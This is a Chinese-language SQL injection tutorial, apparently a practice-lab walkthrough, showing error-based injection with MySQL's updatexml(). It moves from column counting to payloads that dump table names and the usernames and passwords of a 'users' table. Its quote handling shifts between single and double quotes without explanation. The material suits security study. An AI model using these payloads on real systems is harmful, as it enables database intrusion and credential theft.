第一步:判断是否存在注入

输入'"""查看是否报错

有报错回显

第二步:判断注入点位置及类型

位置刚刚判断了是url

”字符型注入

第三步:判断字段数

1.查看数据库列表

?id=1' order by 1--+ ✅ 正常 
?id=1' order by 2--+ ✅ 正常 
?id=1' order by 3--+ ✅ 正常 
?id=1' order by 4--+ ❌ 报错 => 字段数为3

所以有三列

第四步:找出回显位置

试过后发现,有报错但报错不明显,我们这里得用显错注入或盲注,这里用显错注入更简单

步骤一:选择支持的显错函数
常见 MySQL 显错函数:

updatexml()
 
extractvalue()
 
floor(rand()*2)
 
geometrycollection()


步骤二:构造显错注入语句(尝试能否回显)
1:updatexml() 泄露当前数据库名

?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)  --+

2.爆表名

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)
from information_schema.tables where table_schema=database()),0x7e),1)  --+

3.爆users表列名

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) 
from information_schema.columns where table_name='users' 
and table_schema=database()),0x7e),1)  --+

4.爆username和password字段

?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) 
from users),0x7e),1)  --+

用limit或substr切割

?id=1" and 
updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) 
from users),30,40),0x7e),1)  --+

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐